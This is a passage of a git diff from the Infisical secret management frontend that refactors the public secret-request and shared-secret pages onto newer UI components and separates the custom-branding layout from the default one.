+  }, [hasCustomBranding, brandingConfig?.primaryColor, brandingConfig?.secondaryColor]);
 
   const backgroundStyle = useMemo(() => {
     if (!brandingTheme) {
@@ -159,170 +167,108 @@ export const ViewSecretRequestByIDPage = () => {
 
   if (isPending) {
     return (
-      <div className="flex h-screen w-screen items-center justify-center bg-bunker-800">
-        <Lottie isAutoPlay icon="infisical_loading" className="h-32 w-32" />
+      <div className="h-screen w-screen bg-bunker-800">
+        <PageLoader lottieClassName="w-34" />
       </div>
     );
   }
 
-  return (
+  const requestContent = (
     <>
-      <Helmet>
-        <title>Securely Share Secrets{hasCustomBranding ? "" : " | Infisical"}</title>
-        <meta property="og:image" content="/images/message.png" />
-        <meta property="og:title" content="" />
-        <meta name="og:description" content="" />
-      </Helmet>
-      <div
-        className={twMerge(
-          "flex h-screen flex-col justify-between overflow-auto text-gray-200 dark:scheme-dark",
-          !backgroundStyle && "bg-linear-to-tr from-mineshaft-700 to-bunker-800"
+      {!error &&
+        !secretRequest?.error &&
+        secretRequest?.request &&
+        step === "set-value" &&
+        !secretRequest.isSecretValueSet && (
+          <SecretRequestContainer
+            onSuccess={() => setStep("success")}
+            secretRequestId={id}
+            brandingTheme={brandingTheme}
+          />
         )}
-        style={backgroundStyle}
-      >
-        <div />
-        <div className="mx-auto w-full max-w-xl px-4 py-4 md:px-0">
-          <div className="mb-8 text-center">
-            <div className="mb-4 flex justify-center pt-8">
-              {hasCustomBranding ? (
-                <img
-                  src={logoUrl}
-                  height={90}
-                  width={120}
-                  alt="Logo"
-                  className="max-h-24 w-auto object-contain"
-                />
-              ) : (
-                <a target="_blank" rel="noopener noreferrer" href="https://infisical.com">
-                  <img
-                    src={logoUrl}
-                    height={90}
-                    width={120}
-                    alt="Infisical logo"
-                    className="cursor-pointer"
-                  />
-                </a>
-              )}
-            </div>
-            <h1
-              className={twMerge(
-                "mb-2 bg-linear-to-b bg-clip-text text-center text-4xl font-medium text-transparent",
-                brandingTheme && isLightColor(brandingTheme.primaryColor)
-                  ? "from-black to-bunker-500"
-                  : "from-white to-bunker-200"
-              )}
-            >
+      {secretRequest?.isSecretValueSet && (
+        <SecretValueAlreadySharedContainer brandingTheme={brandingTheme} />
+      )}
+      {(secretRequest?.error || (error && !isInvalidCredential && !isUnauthorized)) && (
+        <SecretRequestErrorContainer brandingTheme={brandingTheme} error={secretRequest?.error} />
+      )}
+      {step === "success" && (
+        <SecretRequestSuccessContainer
+          requesterUsername={secretRequest!.request.requester.username}
+          brandingTheme={brandingTheme}
+        />
+      )}
+    </>
+  );
+
+  const requesterInfo = secretRequest?.request ? (
+    <CardDescription>
+      Secret requested by {secretRequest.request.requester.username}
+      {!hasCustomBranding && (
+        <> from the {secretRequest.request.requester.organizationName} organization</>
+      )}
+    </CardDescription>
+  ) : null;
+
+  // Custom branding: minimal layout with brand colors, no Infisical elements
+  if (hasCustomBranding) {
+    return (
+      <>
+        <Helmet>
+          <title>Secret Request</title>
+          <meta property="og:image" content="/images/message.png" />
+        </Helmet>
+        <div
+          className="flex min-h-screen flex-col items-center justify-center overflow-auto px-4 py-10 scheme-dark"
+          style={backgroundStyle}
+        >
+          {logoUrl && (
+            <img src={logoUrl} alt="Logo" className="mb-8 max-h-16 w-auto object-contain" />
+          )}
+          <div
+            className="w-full max-w-xl rounded-lg border p-5"
+            style={{
+              backgroundColor: brandingTheme?.panelBg,
+              borderColor: brandingTheme?.panelBorder,
+              color: brandingTheme?.textColor
+            }}
+          >
+            <h1 className="mb-1 text-lg font-semibold" style={{ color: brandingTheme?.textColor }}>
               {step === "set-value" ? "Secret Request" : "Secret request shared"}
             </h1>
             {secretRequest?.request && (
-              <p
-                className="text-sm"
-                style={brandingTheme ? { color: brandingTheme.textMutedColor } : undefined}
-              >
+              <p className="mb-5 text-sm" style={{ color: brandingTheme?.textMutedColor }}>
                 Secret requested by {secretRequest.request.requester.username}
-                {!hasCustomBranding && (
-                  <> from the {secretRequest.request.requester.organizationName} organization</>
-                )}
-              </p>
-            )}
-            {!hasCustomBranding && (
-              <p className="text-md mt-2">
-                Powered by{" "}
-                <a
-                  href="https://github.com/infisical/infisical"
-                  target="_blank"
-                  rel="noopener noreferrer"
-                  className="text-bold bg-linear-to-tr from-yellow-500 to-primary-500 bg-clip-text text-transparent"
-                >
-                  Infisical &rarr;
-                </a>
               </p>
             )}
+            {requestContent}
           </div>
-          {!isPending && (
-            <>
-              {!error &&
-                !secretRequest?.error &&
-                secretRequest?.request &&
-                step === "set-value" &&
-                !secretRequest.isSecretValueSet && (
-                  <SecretRequestContainer
-                    onSuccess={() => setStep("success")}
-                    secretRequestId={id}
-                    brandingTheme={brandingTheme}
-                  />
-                )}
-              {secretRequest?.isSecretValueSet && (
-                <SecretValueAlreadySharedContainer brandingTheme={brandingTheme} />
-              )}
-              {(secretRequest?.error || (error && !isInvalidCredential && !isUnauthorized)) && (
-                <SecretRequestErrorContainer
-                  brandingTheme={brandingTheme}
-                  error={secretRequest?.error}
-                />
-              )}
-              {step === "success" && (
-                <SecretRequestSuccessContainer
-                  requesterUsername={secretRequest!.request.requester.username}
-                  brandingTheme={brandingTheme}
-                />
-              )}
-            </>
-          )}
-          {!hasCustomBranding && (
-            <>
-              <div className="m-auto my-8 flex w-full">
-                <div className="w-full border-t border-mineshaft-600" />
-              </div>
-              <div className="m-auto flex w-full flex-col rounded-md border border-primary-500/30 bg-primary/5 p-6 pt-5">
-                <p className="w-full pb-2 text-lg font-medium text-mineshaft-100 md:pb-3 md:text-xl">
-                  Open source{" "}
-                  <span className="bg-linear-to-tr from-yellow-500 to-primary-500 bg-clip-text text-transparent">
-                    secret management
-                  </span>{" "}
-                  for developers
-                </p>
-                <div className="flex flex-col items-start sm:flex-row sm:items-center">
-                  <p className="md:text-md text-md mr-4">
-                    <a
-                      href="https://github.com/infisical/infisical"
-                      target="_blank"
-                      rel="noopener noreferrer"
-                      className="text-bold bg-linear-to-tr from-yellow-500 to-primary-500 bg-clip-text text-transparent"
-                    >
-                      Infisical
-                    </a>{" "}
-                    is the all-in-one secret management platform to securely manage secrets,
-                    configs, and certificates across your team and infrastructure.
-                  </p>
-                  <div className="mt-4 cursor-pointer sm:mt-0">
-                    <a target="_blank" rel="noopener noreferrer" href="https://infisical.com">
-                      <div className="flex items-center justify-between rounded-md border border-mineshaft-400/40 bg-mineshaft-600 px-3 py-2 duration-200 hover:border-primary/60 hover:bg-primary/20 hover:text-white">
-                        <p className="mr-4 whitespace-nowrap">Try Infisical</p>
-                        <FontAwesomeIcon icon={faArrowRight} />
-                      </div>
-                    </a>
-                  </div>
-                </div>
-              </div>
-            </>
-          )}
         </div>
-        {hasCustomBranding ? (
-          <div />
-        ) : (
-          <div className="w-full bg-mineshaft-600 p-2">
-            <p className="text-center text-sm text-mineshaft-300">
-              Made with ❤️ by{" "}
-              <a className="text-primary" href="https://infisical.com">
-                Infisical
-              </a>
-              <br />
-              235 2nd st, San Francisco, California, 94105, United States. 🇺🇸
-            </p>
-          </div>
-        )}
+      </>
+    );
+  }
+
+  // Default: Infisical auth page layout
+  return (
+    <div className="relative flex max-h-screen min-h-screen flex-col overflow-y-auto bg-bunker-800 px-4 text-foreground scheme-dark">
+      <AuthPageBackground />
+      <Helmet>
+        <title>Secret Request | Infisical</title>
+        <meta property="og:image" content="/images/message.png" />
+      </Helmet>
+      <AuthPageHeader />
+      <div className="relative z-10 my-auto flex flex-col items-center py-10">
+        <Card className="w-full max-w-xl">
+          <CardHeader>
+            <CardTitle>
+              {step === "set-value" ? "Secret Request" : "Secret request shared"}
+            </CardTitle>
+            {requesterInfo}
+          </CardHeader>
+          <CardContent>{requestContent}</CardContent>
+        </Card>
       </div>
-    </>
+      <AuthPageFooter />
+    </div>
   );
 };
diff --git a/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretErrorContainer.tsx b/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretErrorContainer.tsx
index 21a5f60b8d0..8ffbe944a90 100644
--- a/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretErrorContainer.tsx
+++ b/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretErrorContainer.tsx
@@ -1,5 +1,6 @@
 import { TriangleAlertIcon } from "lucide-react";
-import { twMerge } from "tailwind-merge";
+
+import { Alert, AlertTitle } from "@app/components/v3";
 
 import { BrandingTheme } from "../../ViewSharedSecretByIDPage/ViewSharedSecretByIDPage";
 
@@ -18,20 +19,13 @@ export const SecretRequestErrorContainer = ({ error, brandingTheme }: Props) =>
     : undefined;
 
   return (
-    <div
-      className={twMerge(
-        "rounded-lg border p-6",
-        !brandingTheme && "border-mineshaft-600 bg-mineshaft-800"
-      )}
-      style={panelStyle}
-    >
-      <div className="flex items-center gap-4">
-        <TriangleAlertIcon
-          className="shrink-0"
-          style={{ color: brandingTheme?.textMutedColor || "orangered" }}
-        />
-        <span>{error || "The secret request you are looking for is missing or has expired."}</span>
-      </div>
-    </div>
+    <Alert variant={brandingTheme ? "default" : "danger"} style={panelStyle}>
+      <TriangleAlertIcon
+        style={brandingTheme ? { color: brandingTheme.textMutedColor } : undefined}
+      />
+      <AlertTitle style={brandingTheme ? { color: brandingTheme.textColor } : undefined}>
+        {error || "The secret request you are looking for is missing or has expired."}
+      </AlertTitle>
+    </Alert>
   );
 };
diff --git a/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretRequestContainer.tsx b/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretRequestContainer.tsx
index 0ea07d6da5b..31ecc854ed8 100644
--- a/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretRequestContainer.tsx
+++ b/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretRequestContainer.tsx
@@ -1,10 +1,10 @@
 import { Controller, FormProvider, useForm } from "react-hook-form";
 import { zodResolver } from "@hookform/resolvers/zod";
-import { ArrowRightIcon } from "lucide-react";
+import { ForwardIcon } from "lucide-react";
+import { twMerge } from "tailwind-merge";
 import { z } from "zod";
 
-import { FormControl, TextArea } from "@app/components/v2";
-import { Button } from "@app/components/v3";
+import { Button, Field, FieldError, FieldLabel, TextArea } from "@app/components/v3";
 import { useSetSecretRequestValue } from "@app/hooks/api";
 
 import { BrandingTheme } from "../../ViewSharedSecretByIDPage/ViewSharedSecretByIDPage";
@@ -45,54 +45,59 @@ export const SecretRequestContainer = ({ brandingTheme, onSuccess, secretRequest
     : undefined;
 
   const inputStyle = brandingTheme
-    ? {
+    ? ({
         backgroundColor: brandingTheme.inputBg,
         color: brandingTheme.textColor,
         "--muted-color": brandingTheme.textMutedColor,
         borderColor: brandingTheme.panelBorder
-      }
+      } as React.CSSProperties)
     : undefined;
 
   return (
     <FormProvider {...form}>
       <form onSubmit={form.handleSubmit(onSubmit)}>
-        <div
-          className={`flex flex-col rounded-lg border p-4 ${brandingTheme ? "" : "border-mineshaft-600 bg-mineshaft-800"}`}
-          style={panelStyle}
-        >
+        <div className="flex flex-col gap-4" style={panelStyle}>
           <Controller
             control={form.control}
             name="secretValue"
             render={({ field, fieldState: { error } }) => (
-              <div style={brandingTheme ? { color: brandingTheme.textColor } : undefined}>
-                <FormControl
-                  isError={Boolean(error)}
-                  errorText={error?.message}
-                  isRequired
-                  label="Secret Value"
-                  labelClassName="text-[var(--muted-color)]"
+              <Field style={brandingTheme ? { color: brandingTheme.textColor } : undefined}>
+                <FieldLabel
+                  className={brandingTheme ? "text-[var(--muted-color)]" : ""}
+                  style={
+                    brandingTheme
+                      ? ({ "--muted-color": brandingTheme.textMutedColor } as React.CSSProperties)
+                      : undefined
+                  }
                 >
-                  <TextArea
-                    {...field}
-                    rows={10}
-                    reSize="none"
-                    style={inputStyle}
-                    className="border placeholder-[var(--muted-color)]/70 focus:ring-[var(--muted-color)]/50"
-                  />
-                </FormControl>
-              </div>
+                  Secret Value
+                </FieldLabel>
+                <TextArea
+                  {...field}
+                  rows={10}
+                  className={twMerge(
+                    "resize-none",
+                    brandingTheme &&
+                      "border placeholder-[var(--muted-color)]/70 focus-visible:ring-[var(--muted-color)]/50"
+                  )}
+                  style={inputStyle}
+                  aria-invalid={Boolean(error)}
+                />
+                {error && <FieldError>{error.message}</FieldError>}
+              </Field>
             )}
           />
           <Button
             isPending={isPending}
-            isDisabled={isPending}
-            variant="neutral"
-            className="w-full"
+            isDisabled={isPending || !form.formState.isValid}
+            variant="project"
+            isFullWidth
+            size="lg"
             type="submit"
             style={inputStyle}
           >
             Share Secret
-            <ArrowRightIcon />
+            <ForwardIcon />
           </Button>
         </div>
       </form>
diff --git a/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretRequestSuccessContainer.tsx b/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretRequestSuccessContainer.tsx
index ecb1e01a487..5ce540f6f6c 100644
--- a/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretRequestSuccessContainer.tsx
+++ b/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretRequestSuccessContainer.tsx
@@ -1,5 +1,6 @@
-import { CircleCheckBigIcon } from "lucide-react";
-import { twMerge } from "tailwind-merge";
+import { CheckCircleIcon } from "lucide-react";
+
+import { Alert, AlertDescription, AlertTitle } from "@app/components/v3";
 
 import { BrandingTheme } from "../../ViewSharedSecretByIDPage/ViewSharedSecretByIDPage";
 
@@ -10,37 +11,25 @@ type Props = {
 
 export const SecretRequestSuccessContainer = ({ brandingTheme, requesterUsername }: Props) => {
   const panelStyle = brandingTheme
-    ? {
+    ? ({
         backgroundColor: brandingTheme.panelBg,
         color: brandingTheme.textColor,
-        "--muted-color": brandingTheme.textMutedColor,
         borderColor: brandingTheme.panelBorder
-      }
+      } as React.CSSProperties)
     : undefined;
 
   return (
-    <div
-      className={twMerge(
-        "rounded-lg border p-6",
-        !brandingTheme && "border-mineshaft-600 bg-mineshaft-800"
-      )}
-      style={panelStyle}
-    >
-      <div className="flex items-center gap-4">
-        <CircleCheckBigIcon
-          className="size-8 shrink-0"
-          style={{ color: brandingTheme?.textMutedColor || "white" }}
-        />
-        <div className="flex flex-col">
-          <span className="font-medium">Secret Shared</span>
-          <span
-            className={`text-sm ${brandingTheme ? "text-[var(--muted-color)]" : "text-mineshaft-300"}`}
-          >
-            <strong>{requesterUsername}</strong> has now been notified of your shared secret, and
-            will be able to access it shortly.
-          </span>
-        </div>
-      </div>
-    </div>
+    <Alert variant={brandingTheme ? "default" : "success"} style={panelStyle}>
+      <CheckCircleIcon
+        style={brandingTheme ? { color: brandingTheme.textMutedColor } : undefined}
+      />
+      <AlertTitle style={brandingTheme ? { color: brandingTheme.textColor } : undefined}>
+        Secret Shared
+      </AlertTitle>
+      <AlertDescription style={brandingTheme ? { color: brandingTheme.textMutedColor } : undefined}>
+        {requesterUsername} has now been notified of your shared secret, and will be able to access
+        it shortly.
+      </AlertDescription>
+    </Alert>
   );
 };
diff --git a/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretValueAlreadySharedContainer.tsx b/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretValueAlreadySharedContainer.tsx
index e4fb626d738..cb7f1aa2a77 100644
--- a/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretValueAlreadySharedContainer.tsx
+++ b/frontend/src/pages/public/ViewSecretRequestByIDPage/components/SecretValueAlreadySharedContainer.tsx
@@ -1,5 +1,6 @@
 import { KeyRoundIcon } from "lucide-react";
-import { twMerge } from "tailwind-merge";
+
+import { Alert, AlertDescription, AlertTitle } from "@app/components/v3";
 
 import { BrandingTheme } from "../../ViewSharedSecretByIDPage/ViewSharedSecretByIDPage";
 
@@ -9,36 +10,22 @@ type Props = {
 
 export const SecretValueAlreadySharedContainer = ({ brandingTheme }: Props) => {
   const panelStyle = brandingTheme
-    ? {
+    ? ({
         backgroundColor: brandingTheme.panelBg,
         color: brandingTheme.textColor,
-        "--muted-color": brandingTheme.textMutedColor,
         borderColor: brandingTheme.panelBorder
-      }
+      } as React.CSSProperties)
     : undefined;
 
   return (
-    <div
-      className={twMerge(
-        "rounded-lg border p-6",
-        !brandingTheme && "border-mineshaft-600 bg-mineshaft-800"
-      )}
-      style={panelStyle}
-    >
-      <div className="flex items-center gap-4">
-        <KeyRoundIcon
-          className="size-8 shrink-0"
-          style={{ color: brandingTheme?.textMutedColor || "white" }}
-        />
-        <div className="flex flex-col">
-          <span className="font-medium">Secret Already Shared</span>
-          <span
-            className={`text-sm ${brandingTheme ? "text-[var(--muted-color)]" : "text-mineshaft-300"}`}
-          >
-            A secret value has already been shared for this secret request.
-          </span>
-        </div>
-      </div>
-    </div>
+    <Alert variant={brandingTheme ? "default" : "info"} style={panelStyle}>
+      <KeyRoundIcon style={brandingTheme ? { color: brandingTheme.textMutedColor } : undefined} />
+      <AlertTitle style={brandingTheme ? { color: brandingTheme.textColor } : undefined}>
+        Secret Already Shared
+      </AlertTitle>
+      <AlertDescription style={brandingTheme ? { color: brandingTheme.textMutedColor } : undefined}>
+        A secret value has already been shared for this secret request.
+      </AlertDescription>
+    </Alert>
   );
 };
diff --git a/frontend/src/pages/public/ViewSharedSecretByIDPage/ViewSharedSecretByIDPage.tsx b/frontend/src/pages/public/ViewSharedSecretByIDPage/ViewSharedSecretByIDPage.tsx
index a3546017a9c..8f828390113 100644
--- a/frontend/src/pages/public/ViewSharedSecretByIDPage/ViewSharedSecretByIDPage.tsx
+++ b/frontend/src/pages/public/ViewSharedSecretByIDPage/ViewSharedSecretByIDPage.tsx
@@ -1,14 +1,14 @@
 import { useEffect, useMemo, useRef } from "react";
 import { Helmet } from "react-helmet";
-import { faArrowRight } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { useNavigate, useParams } from "@tanstack/react-router";
 import { AxiosError } from "axios";
 import { addSeconds, formatISO } from "date-fns";
-import { twMerge } from "tailwind-merge";
 
+import { AuthPageBackground } from "@app/components/auth/AuthPageBackground";
+import { AuthPageFooter } from "@app/components/auth/AuthPageFooter";
+import { AuthPageHeader } from "@app/components/auth/AuthPageHeader";
 import { createNotification } from "@app/components/notifications";
-import { Lottie } from "@app/components/v2";
+import { Card, CardContent, CardHeader, CardTitle, PageLoader } from "@app/components/v3";
 import { SessionStorageKeys } from "@app/const";
 import { ROUTE_PATHS } from "@app/const/routes";
 import {
@@ -24,6 +24,8 @@ import {
 
 export const DEFAULT_LOGO_URL = "/images/gradientLogo.svg";
 export const DEFAULT_FAVICON_URL = "/infisical.ico";
+export const DEFAULT_BRAND_PRIMARY_COLOR = "#0e1014";
+export const DEFAULT_BRAND_SECONDARY_COLOR = "#1e1f22";
 
 // Returns true if the color is considered "light"
 export const isLightColor = (hexColor: string): boolean => {
@@ -131,12 +133,13 @@ export const ViewSharedSecretByIDPage = () => {
   const secret = accessMutation.data;
   const isPasswordProtected = secretDetails?.isPasswordProtected ?? false;
   const needsPassword = isPasswordProtected;
-  // only show password prompt if no critical error (403/404) occurred after submission
   const hasCriticalError = accessMutation.isError && (isForbidden || isNotFound);
   const showPasswordPrompt = needsPassword && !secret && !hasCriticalError;
   const isLoading = isLoadingDetails || (!needsPassword && accessMutation.isPending);
 
-  const hasCustomBranding = !!brandingConfig;
+  const hasCustomBranding =
+    !!brandingConfig &&
+    (brandingConfig.hasLogo || brandingConfig.hasFavicon || !!brandingConfig.primaryColor);
 
   const logoUrl = brandingConfig?.hasLogo
     ? `/api/v1/shared-secrets/public/${id}/branding/brand-logo`
@@ -146,27 +149,28 @@ export const ViewSharedSecretByIDPage = () => {
     : DEFAULT_FAVICON_URL;
 
   const brandingTheme = useMemo((): BrandingTheme | undefined => {
-    if (!brandingConfig?.primaryColor) {
+    if (!hasCustomBranding) {
       return undefined;
     }
 
-    const primary = brandingConfig.primaryColor;
-    const secondary = brandingConfig.secondaryColor || primary;
+    const primary = brandingConfig?.primaryColor || DEFAULT_BRAND_PRIMARY_COLOR;
+    const secondary =
+      brandingConfig?.secondaryColor ||
+      brandingConfig?.primaryColor ||
+      DEFAULT_BRAND_SECONDARY_COLOR;
     const isSecondaryLight = isLightColor(secondary);
 
     return {
       primaryColor: primary,
       secondaryColor: secondary,
-      // Text colors based on secondary brightness (for components)
       textColor: isSecondaryLight ? "#1a1a1a" : "#f5f5f5",
       textMutedColor: isSecondaryLight ? "#1a1a1acc" : "#f5f5f5cc",
-      // Panel and components based on secondary color
       panelBg: secondary,
       panelBorder: adjustColor(secondary, isSecondaryLight ? -30 : 30),
       inputBg: adjustColor(secondary, isSecondaryLight ? -15 : 15),
       buttonBg: secondary
     };
-  }, [brandingConfig?.primaryColor, brandingConfig?.secondaryColor]);
+  }, [hasCustomBranding, brandingConfig?.primaryColor, brandingConfig?.secondaryColor]);
 
   const backgroundStyle = useMemo(() => {
     if (!brandingTheme) {
@@ -206,143 +210,82 @@ export const ViewSharedSecretByIDPage = () => {
 
   if (isLoading || isLoadingBrandingConfig) {
     return (
-      <div className="flex h-screen w-screen items-center justify-center bg-bunker-800">
-        <Lottie isAutoPlay icon="infisical_loading" className="h-32 w-32" />
+      <div className="h-screen w-screen bg-bunker-800">
+        <PageLoader lottieClassName="w-34" />
       </div>
     );
   }
 
-  return (
+  const secretContent = (
     <>
-      <Helmet>
-        <title>Securely Share Secrets{hasCustomBranding ? "" : " | Infisical"}</title>
-        <meta property="og:image" content="/images/message.png" />
-        <meta property="og:title" content="" />
-        <meta name="og:description" content="" />
-      </Helmet>
-      <div
-        className={twMerge(
-          "flex h-screen flex-col justify-between overflow-auto text-gray-200 dark:scheme-dark",
-          !backgroundStyle && "bg-linear-to-tr from-mineshaft-700 to-bunker-800"
-        )}
-        style={backgroundStyle}
-      >
-        <div />
-        <div className="mx-auto w-full max-w-xl px-4 py-4 md:px-0">
-          <div className="mb-8 text-center">
-            <div className="mb-4 flex justify-center pt-8">
-              {hasCustomBranding ? (
-                <img
-                  src={logoUrl}
-                  height={90}
-                  width={120}
-                  alt="Logo"
-                  className="max-h-24 w-auto object-contain"
-                />
-              ) : (
-                <a target="_blank" rel="noopener noreferrer" href="https://infisical.com">
-                  <img
-                    src={logoUrl}
-                    height={90}
-                    width={120}
-                    alt="Infisical logo"
-                    className="cursor-pointer"
-                  />
-                </a>
-              )}
-            </div>
-            <h1
-              className={twMerge(
-                "bg-linear-to-b bg-clip-text text-center text-4xl font-medium text-transparent",
-                brandingTheme && isLightColor(brandingTheme.primaryColor)
-                  ? "from-black to-bunker-500"
-                  : "from-white to-bunker-200"
-              )}
-            >
+      {(showPasswordPrompt || isInvalidCredential) && (
+        <PasswordContainer
+          isSubmitting={accessMutation.isPending}
+          onPasswordSubmit={(pwd) => {
+            accessMutation.mutate({ sharedSecretId: id, password: pwd });
+          }}
+          isInvalidCredential={!accessMutation.isPending && isInvalidCredential}
+          brandingTheme={brandingTheme}
+        />
+      )}
+      {secret && <SecretContainer secret={secret} brandingTheme={brandingTheme} />}
+      {!showPasswordPrompt && !isInvalidCredential && activeError && !isUnauthorized && (
+        <SecretErrorContainer brandingTheme={brandingTheme} error={errorMessage} />
+      )}
+    </>
+  );
+
+  // Custom branding: minimal layout with brand colors, no Infisical elements
+  if (hasCustomBranding) {
+    return (
+      <>
+        <Helmet>
+          <title>Securely Share Secrets</title>
+          <meta property="og:image" content="/images/message.png" />
+        </Helmet>
+        <div
+          className="flex min-h-screen flex-col items-center justify-center overflow-auto px-4 py-10 scheme-dark"
+          style={backgroundStyle}
+        >
+          {brandingConfig?.hasLogo && (
+            <img src={logoUrl} alt="Logo" className="mb-8 max-h-16 w-auto object-contain" />
+          )}
+          <div
+            className="w-full max-w-xl rounded-lg border p-5"
+            style={{
+              backgroundColor: brandingTheme?.panelBg,
+              borderColor: brandingTheme?.panelBorder,
+              color: brandingTheme?.textColor
+            }}
+          >
+            <h1 className="mb-5 text-lg font-semibold" style={{ color: brandingTheme?.textColor }}>
               View shared secret
             </h1>
-            {!hasCustomBranding && (
-              <p className="text-md">
-                Powered by{" "}
-                <a
-                  href="https://github.com/infisical/infisical"
-                  target="_blank"
-                  rel="noopener noreferrer"
-                  className="text-bold bg-linear-to-tr from-yellow-500 to-primary-500 bg-clip-text text-transparent"
-                >
-                  Infisical &rarr;
-                </a>
-              </p>
-            )}
+            {secretContent}
           </div>
-          {(showPasswordPrompt || isInvalidCredential) && (
-            <PasswordContainer
-              isSubmitting={accessMutation.isPending}
-              onPasswordSubmit={(pwd) => {
-                accessMutation.mutate({ sharedSecretId: id, password: pwd });
-              }}
-              isInvalidCredential={!accessMutation.isPending && isInvalidCredential}
-              brandingTheme={brandingTheme}
-            />
-          )}
-          {secret && <SecretContainer secret={secret} brandingTheme={brandingTheme} />}
-          {!showPasswordPrompt && !isInvalidCredential && activeError && !isUnauthorized && (
-            <SecretErrorContainer brandingTheme={brandingTheme} error={errorMessage} />
-          )}
-          {!hasCustomBranding && (
-            <>
-              <div className="m-auto my-8 flex w-full">
-                <div className="w-full border-t border-mineshaft-600" />
-              </div>
-              <div className="m-auto flex w-full flex-col rounded-md border border-primary-500/30 bg-primary/5 p-6 pt-5">
-                <p className="w-full pb-2 text-lg font-medium text-mineshaft-100 md:pb-3 md:text-xl">
-                  Open source{" "}
-                  <span className="bg-linear-to-tr from-yellow-500 to-primary-500 bg-clip-text text-transparent">
-                    secret management
-                  </span>{" "}
-                  for developers
-                </p>
-                <div className="flex flex-col items-start sm:flex-row sm:items-center">
-                  <p className="md:text-md text-md mr-4">
-                    <a
-                      href="https://github.com/infisical/infisical"
-                      target="_blank"
-                      rel="noopener noreferrer"
-                      className="text-bold bg-linear-to-tr from-yellow-500 to-primary-500 bg-clip-text text-transparent"
-                    >
-                      Infisical
-                    </a>{" "}
-                    is the all-in-one secret management platform to securely manage secrets,
-                    configs, and certificates across your team and infrastructure.
-                  </p>
-                  <div className="mt-4 cursor-pointer sm:mt-0">
-                    <a target="_blank" rel="noopener noreferrer" href="https://infisical.com">
-                      <div className="flex items-center justify-between rounded-md border border-mineshaft-400/40 bg-mineshaft-600 px-3 py-2 duration-200 hover:border-primary/60 hover:bg-primary/20 hover:text-white">
-                        <p className="mr-4 whitespace-nowrap">Try Infisical</p>
-                        <FontAwesomeIcon icon={faArrowRight} />
-                      </div>
-                    </a>
-                  </div>
-                </div>
-              </div>
-            </>
-          )}
         </div>
-        {hasCustomBranding ? (
-          <div />
-        ) : (
-          <div className="w-full bg-mineshaft-600 p-2">
-            <p className="text-center text-sm text-mineshaft-300">
-              Made with ❤️ by{" "}
-              <a className="text-primary" href="https://infisical.com">
-                Infisical
-              </a>
-              <br />
-              235 2nd st, San Francisco, California, 94105, United States. 🇺🇸
-            </p>
-          </div>
-        )}
+      </>
+    );
+  }
+
+  // Default: Infisical auth page layout
+  return (
+    <div className="relative flex max-h-screen min-h-screen flex-col overflow-y-auto bg-bunker-800 px-4 text-foreground scheme-dark">
+      <AuthPageBackground />
+      <Helmet>
+        <title>Securely Share Secrets | Infisical</title>
+        <meta property="og:image" content="/images/message.png" />
+      </Helmet>
+      <AuthPageHeader />
+      <div className="relative z-10 my-auto flex flex-col items-center py-10">
+        <Card className="w-full max-w-xl">
+          <CardHeader>
+            <CardTitle>View shared secret</CardTitle>
+          </CardHeader>
+          <CardContent>{secretContent}</CardContent>
+        </Card>
       </div>
-    </>
+      <AuthPageFooter />
+    </div>
   );
 };
diff --git a/frontend/src/pages/public/ViewSharedSecretByIDPage/components/PasswordContainer.tsx b/frontend/src/pages/public/ViewSharedSecretByIDPage/components/PasswordContainer.tsx
index a7877bf1874..ba7dcb76680 100644
--- a/frontend/src/pages/public/ViewSharedSecretByIDPage/components/PasswordContainer.tsx
+++ b/frontend/src/pages/public/ViewSharedSecretByIDPage/components/PasswordContainer.tsx
@@ -1,11 +1,9 @@
 import { Controller, useForm } from "react-hook-form";
-import { faArrowRight, faSpinner } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { twMerge } from "tailwind-merge";
 import { z } from "zod";
 
-import { Button, FormControl, IconButton, Input } from "@app/components/v2";
+import { Button, Field, FieldError, FieldLabel, Input } from "@app/components/v3";
 
 import { BrandingTheme } from "../ViewSharedSecretByIDPage";
 
@@ -28,8 +26,15 @@ export const PasswordContainer = ({
   isInvalidCredential,
   brandingTheme
 }: Props) => {
-  const { control, handleSubmit } = useForm<FormData>({
-    resolver: zodResolver(formSchema)
+  const {
+    control,
+    handleSubmit,
+    formState: { isDirty }
+  } = useForm<FormData>({
+    resolver: zodResolver(formSchema),
+    defaultValues: {
+      password: ""
+    }
   });
 
   const onFormSubmit = async ({ password }: FormData) => {
@@ -44,78 +49,70 @@ export const PasswordContainer = ({
     : undefined;
 
   const inputStyle = brandingTheme
-    ? {
+    ? ({
         backgroundColor: brandingTheme.inputBg,
         color: brandingTheme.textColor,
         "--muted-color": brandingTheme.textMutedColor,
         borderColor: brandingTheme.panelBorder
-      }
+      } as React.CSSProperties)
     : undefined;
 
   return (
-    <div
-      className={`rounded-lg border p-4 ${brandingTheme ? "" : "border-mineshaft-600 bg-mineshaft-800"}`}
-      style={panelStyle}
-    >
+    <div style={panelStyle}>
       <form onSubmit={handleSubmit(onFormSubmit)}>
         <Controller
           control={control}
           name="password"
           defaultValue=""
           render={({ field, fieldState: { error } }) => (
-            <div style={brandingTheme ? { color: brandingTheme.textColor } : undefined}>
-              <FormControl
-                isError={Boolean(error) || isInvalidCredential}
-                errorText={isInvalidCredential ? "Invalid credential" : error?.message}
-                isRequired
-                label="Password"
-                labelClassName="text-[var(--muted-color)]"
+            <Field style={brandingTheme ? { color: brandingTheme.textColor } : undefined}>
+              <FieldLabel
+                className={brandingTheme ? "text-[var(--muted-color)]" : ""}
